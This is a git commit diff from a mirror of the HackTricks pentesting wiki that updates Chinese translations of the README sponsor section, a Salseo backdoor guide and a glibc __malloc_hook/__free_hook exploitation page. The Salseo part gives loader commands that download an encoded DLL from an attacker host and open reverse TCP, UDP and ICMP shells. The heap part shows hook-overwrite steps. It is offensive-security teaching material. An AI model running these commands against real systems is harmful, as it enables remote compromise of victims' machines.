mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['README.md', 'backdoors/salseo.md', 'binary-exploitation/arb
This commit is contained in:
parent
22053dd95a
commit
296f2051df
112 changed files with 4519 additions and 4101 deletions
BIN
.gitbook/assets/arte.png
Normal file
BIN
.gitbook/assets/arte.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 756 KiB |
BIN
.gitbook/assets/grte.png
Normal file
BIN
.gitbook/assets/grte.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 879 KiB |
48
README.md
48
README.md
|
@ -32,7 +32,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。以**促进技术知识**为使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
|
||||
[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,9 +42,9 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** 是**欧洲排名第一**的道德黑客和**漏洞赏金平台**。
|
||||
**Intigriti** 是**欧洲排名第一**的道德黑客和**赏金计划平台**。
|
||||
|
||||
**漏洞赏金提示**:**注册** Intigriti,这是一个由黑客创建的高级**漏洞赏金平台**!立即加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
**赏金提示**:**注册** Intigriti,这是一个由黑客创建的高级**赏金计划平台**!立即加入我们的[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -67,11 +67,11 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
* **黑客见解:**参与深入探讨黑客的刺激和挑战的内容
|
||||
* **实时黑客新闻:**通过实时新闻和见解保持对快节奏黑客世界的了解
|
||||
* **最新公告:**通过最新的漏洞赏金发布和重要平台更新保持信息更新
|
||||
* **最新公告:**通过最新的赏金计划发布和重要平台更新保持信息更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
|
@ -81,7 +81,7 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src=".gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时提供漏洞评估和渗透测试**设置。使用从侦察到报告的 20 多种工具和功能进行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
|
||||
**即时提供漏洞评估和渗透测试**设置。使用从侦察到报告的 20 多种工具和功能从任何地方运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -91,14 +91,14 @@ _Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/
|
|||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi 提供快速简便的实时 API,用于**访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为您解析所有丰富的结构化数据。
|
||||
SerpApi 提供快速简便的实时 API,用于**访问搜索引擎结果**。他们抓取搜索引擎、处理代理、解决验证码,并为您解析所有丰富的结构化数据。
|
||||
|
||||
订阅 SerpApi 的计划之一,即可访问 50 多个不同的 API,用于抓取不同搜索引擎的数据,包括 Google、Bing、百度、雅虎、Yandex 等。\
|
||||
与其他提供商不同,**SerpApi 不仅仅抓取有机结果**。SerpApi 的响应始终包括所有广告、内联图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。
|
||||
|
||||
当前的 SerpApi 客户包括**苹果、Shopify 和 GrubHub**。\
|
||||
欲了解更多信息,请查看他们的[**博客**](https://serpapi.com/blog/),或在他们的[**playground**](https://serpapi.com/playground)中尝试示例。\
|
||||
您可以在[**此处**](https://serpapi.com/users/sign\_up)创建一个免费帐户。
|
||||
您可以在[**此处**](https://serpapi.com/users/sign\_up)创建免费帐户。
|
||||
|
||||
***
|
||||
|
||||
|
@ -116,9 +116,9 @@ SerpApi 提供快速简便的实时 API,用于**访问搜索引擎结果**。
|
|||
|
||||
[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,通过提供**现代**方法的**攻击性安全服务**,帮助**全球各地的企业**抵御最新的网络安全威胁。
|
||||
|
||||
WebSec 是一家**全方位的安全公司**,意味着他们全面覆盖;渗透测试、**安全**审计、意识培训、钓鱼活动、代码审查、利用开发、安全专家外包等。
|
||||
WebSec 是一家**一站式安全公司**,意味着他们全都搞定;渗透测试、**安全**审计、意识培训、钓鱼活动、代码审查、利用开发、安全专家外包等。
|
||||
|
||||
WebSec 的另一个很酷的地方是,与行业平均水平不同,WebSec 对自己的技能非常有信心,以至于他们**保证提供最优质的结果**,在他们的网站上写着“**如果我们无法入侵,您就不用付费!**”。欲了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
WebSec 的另一个很酷的地方是,与行业平均水平不同,WebSec 对自己的技能非常有信心,以至于他们**保证提供最优质的结果**,在他们的网站上写着“**如果我们无法入侵,您就不用付款!**”。欲了解更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)!
|
||||
|
||||
除了上述内容,WebSec 还是 HackTricks 的**忠实支持者**。
|
||||
|
||||
|
@ -127,37 +127,37 @@ WebSec 的另一个很酷的地方是,与行业平均水平不同,WebSec 对
|
|||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。
|
||||
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## 许可证和免责声明
|
||||
## 许可证 & 免责声明
|
||||
|
||||
查看详情:
|
||||
查看:
|
||||
|
||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Github 统计数据
|
||||
## Github 统计
|
||||
|
||||
![HackTricks Github 统计数据](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Repobeats analytics image")
|
||||
![HackTricks Github 统计](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg "Repobeats 分析图")
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -279,7 +279,7 @@
|
|||
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
|
||||
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||
* [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
|
||||
* [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
|
||||
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
||||
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Salseo
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 编译二进制文件
|
||||
|
||||
|
@ -32,7 +33,7 @@
|
|||
|
||||
## 准备后门
|
||||
|
||||
首先,您需要对**EvilSalsa.dll**进行编码。您可以使用python脚本**encrypterassembly.py**或编译项目**EncrypterAssembly**:
|
||||
首先,您需要对**EvilSalsa.dll**进行编码。您可以使用python脚本**encrypterassembly.py**或者编译项目**EncrypterAssembly**:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -41,7 +42,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
```
|
||||
### Windows
|
||||
|
||||
Windows系统是最常见的操作系统之一,因此在渗透测试中经常会遇到。以下是一些常见的Windows后门技术:
|
||||
### Windows
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
|
@ -64,9 +65,9 @@ SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Att
|
|||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **获取 ICMP 反向 shell(编码的 dll 已经在受害者内部)**
|
||||
### **获取 ICMP 反向 shell(已经在受害者内部编码的 dll)**
|
||||
|
||||
**这次你需要在客户端上使用一个特殊工具来接收反向 shell。下载:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
**这次您需要在客户端上使用一个特殊工具来接收反向 shell。下载:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **禁用 ICMP 回复:**
|
||||
```
|
||||
|
@ -75,7 +76,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
|||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### 执行客户端:
|
||||
#### 执行客户端:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
|
@ -83,43 +84,43 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
|||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## 编译 SalseoLoader 作为导出主函数的 DLL
|
||||
## 编译SalseoLoader作为导出主函数的DLL
|
||||
|
||||
使用 Visual Studio 打开 SalseoLoader 项目。
|
||||
使用Visual Studio打开SalseoLoader项目。
|
||||
|
||||
### 在主函数之前添加:\[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### 为此项目安装 DllExport
|
||||
### 为此项目安装DllExport
|
||||
|
||||
#### **工具** --> **NuGet 包管理器** --> **管理解决方案的 NuGet 包...**
|
||||
#### **工具** --> **NuGet程序包管理器** --> **管理解决方案的NuGet程序包...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **在浏览选项卡中搜索 DllExport 包,并按 Install(接受弹出窗口)**
|
||||
#### **搜索DllExport包(使用浏览选项卡),然后按安装(并接受弹出窗口)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
在项目文件夹中会出现文件:**DllExport.bat** 和 **DllExport\_Configure.bat**
|
||||
在您的项目文件夹中会出现文件:**DllExport.bat** 和 **DllExport\_Configure.bat**
|
||||
|
||||
### **卸载 DllExport**
|
||||
### **卸载DllExport**
|
||||
|
||||
点击 **卸载**(是的,这很奇怪,但相信我,这是必要的)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
### **退出 Visual Studio 并执行 DllExport\_configure**
|
||||
### **退出Visual Studio并执行DllExport\_configure**
|
||||
|
||||
只需 **退出** Visual Studio
|
||||
|
||||
然后,转到您的 **SalseoLoader 文件夹** 并 **执行 DllExport\_Configure.bat**
|
||||
然后,转到您的 **SalseoLoader文件夹** 并 **执行DllExport\_Configure.bat**
|
||||
|
||||
选择 **x64**(如果您将在 x64 系统中使用它,这是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport 的命名空间** 中)并按 **应用**
|
||||
选择 **x64**(如果您将在x64系统中使用它,这是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport的命名空间** 中)并按 **应用**
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
### **再次使用 Visual Studio 打开项目**
|
||||
### **再次使用Visual Studio打开项目**
|
||||
|
||||
**\[DllExport]** 不应再被标记为错误
|
||||
|
||||
|
@ -127,19 +128,19 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
|||
|
||||
### 构建解决方案
|
||||
|
||||
选择 **输出类型 = 类库**(项目 --> SalseoLoader 属性 --> 应用程序 --> 输出类型 = 类库)
|
||||
选择 **输出类型 = 类库**(项目 --> SalseoLoader属性 --> 应用程序 --> 输出类型 = 类库)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
选择 **x64 平台**(项目 --> SalseoLoader 属性 --> 构建 --> 平台目标 = x64)
|
||||
选择 **x64平台**(项目 --> SalseoLoader属性 --> 构建 --> 平台目标 = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
要 **构建** 解决方案:构建 --> 构建解决方案(在输出控制台中将显示新 DLL 的路径)
|
||||
要 **构建** 解决方案:构建 --> 构建解决方案(在输出控制台中将显示新DLL的路径)
|
||||
|
||||
### 测试生成的 Dll
|
||||
### 测试生成的Dll
|
||||
|
||||
将 Dll 复制粘贴到要测试的位置。
|
||||
将Dll复制粘贴到要测试的位置。
|
||||
|
||||
执行:
|
||||
```
|
||||
|
@ -149,7 +150,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
|
||||
## 使用DLL获取shell
|
||||
|
||||
不要忘记使用**HTTP服务器**并设置一个**nc监听器**
|
||||
不要忘记使用**HTTP** **服务器**并设置一个**nc** **监听器**
|
||||
|
||||
### Powershell
|
||||
```
|
||||
|
@ -162,7 +163,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
### CMD
|
||||
|
||||
### CMD
|
||||
CMD(Command Prompt)是Windows操作系统中的命令行界面。通过CMD,用户可以直接输入命令来与操作系统进行交互,执行各种操作,包括文件管理、网络配置、系统设置等。CMD也是许多后门和恶意软件用来执行命令并控制受感染系统的常见工具之一。
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -171,16 +172,17 @@ set lport=1337
|
|||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# WWW2Exec - \_\_malloc\_hook & \_\_free\_hook
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
根据[GNU官方网站](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html)的说法,变量**`__malloc_hook`**是一个指针,指向**将在调用`malloc()`时调用的函数的地址**,存储在libc库的数据段中。因此,如果将此地址覆盖为例如**One Gadget**,并调用`malloc`,则将调用**One Gadget**。
|
||||
正如您可以在[GNU官方网站](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html)上看到的,变量**`__malloc_hook`**是一个指针,指向**将在调用`malloc()`时调用的函数的地址**,存储在libc库的数据段中。因此,如果将此地址覆盖为例如**One Gadget**,并调用`malloc`,则将调用**One Gadget**。
|
||||
|
||||
要调用malloc,可以等待程序调用它,或者通过**调用`printf("%10000$c")`**,这将分配太多字节,使`libc`调用malloc在堆中分配它们。
|
||||
|
||||
有关One Gadget的更多信息,请参阅:
|
||||
有关One Gadget的更多信息,请参见:
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
|
||||
[one-gadget.md](../rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
|
@ -32,64 +33,52 @@
|
|||
|
||||
## Free Hook
|
||||
|
||||
在滥用未排序bin攻击之后,滥用快速bin攻击的示例页面中曾经滥用过这一点:
|
||||
这在页面中滥用快速bin攻击后滥用未排序bin攻击的示例中被滥用:
|
||||
|
||||
{% content-ref url="../libc-heap/unsorted-bin-attack.md" %}
|
||||
[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
如果二进制文件具有符号,可以使用以下命令找到`__free_hook`的地址:
|
||||
如果二进制文件具有符号,则可以使用以下命令找到`__free_hook`的地址:
|
||||
```bash
|
||||
gef➤ p &__free_hook
|
||||
```
|
||||
[在这篇文章中](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html),您可以找到一个逐步指南,介绍如何在没有符号的情况下定位`__free_hook`的地址。总结一下,在free函数中:
|
||||
[在这篇文章中](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html) ,您可以找到一个关于如何在没有符号的情况下定位`__free_hook`地址的逐步指南。总结一下,在`free`函数中:
|
||||
|
||||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||||
0xf75dedc0 <free>: push ebx
|
||||
0xf75dedc1 <free+1>: call 0xf768f625
|
||||
0xf75dedc6 <free+6>: add ebx,0x14323a
|
||||
0xf75dedcc <free+12>: sub esp,0x8
|
||||
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
|
||||
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
|
||||
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- 在此处中断
|
||||
</strong>0xf75deddb <free+27>: test eax,eax ;<
|
||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||
</code></pre>
|
||||
```armasm
|
||||
gef➤ x/20i free
|
||||
0xf75dedc0 <free>: push ebx
|
||||
0xf75dedc1 <free+1>: call 0xf768f625
|
||||
0xf75dedc6 <free+6>: add ebx,0x14323a
|
||||
0xf75dedcc <free+12>: sub esp,0x8
|
||||
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
|
||||
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
|
||||
0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
|
||||
0xf75deddb <free+27>: test eax,eax ;
|
||||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||||
```
|
||||
|
||||
在前面代码中提到的中断处,`$eax`中将会存储`__free_hook`的地址。
|
||||
在上述代码中的断点处,`$eax`中将会存储`__free_hook`的地址。
|
||||
|
||||
现在执行**快速bin攻击**:
|
||||
现在执行一个**快速bin攻击**:
|
||||
|
||||
- 首先发现可以在**`__free_hook`**位置使用大小为200的快速**块**:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
```c
|
||||
gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
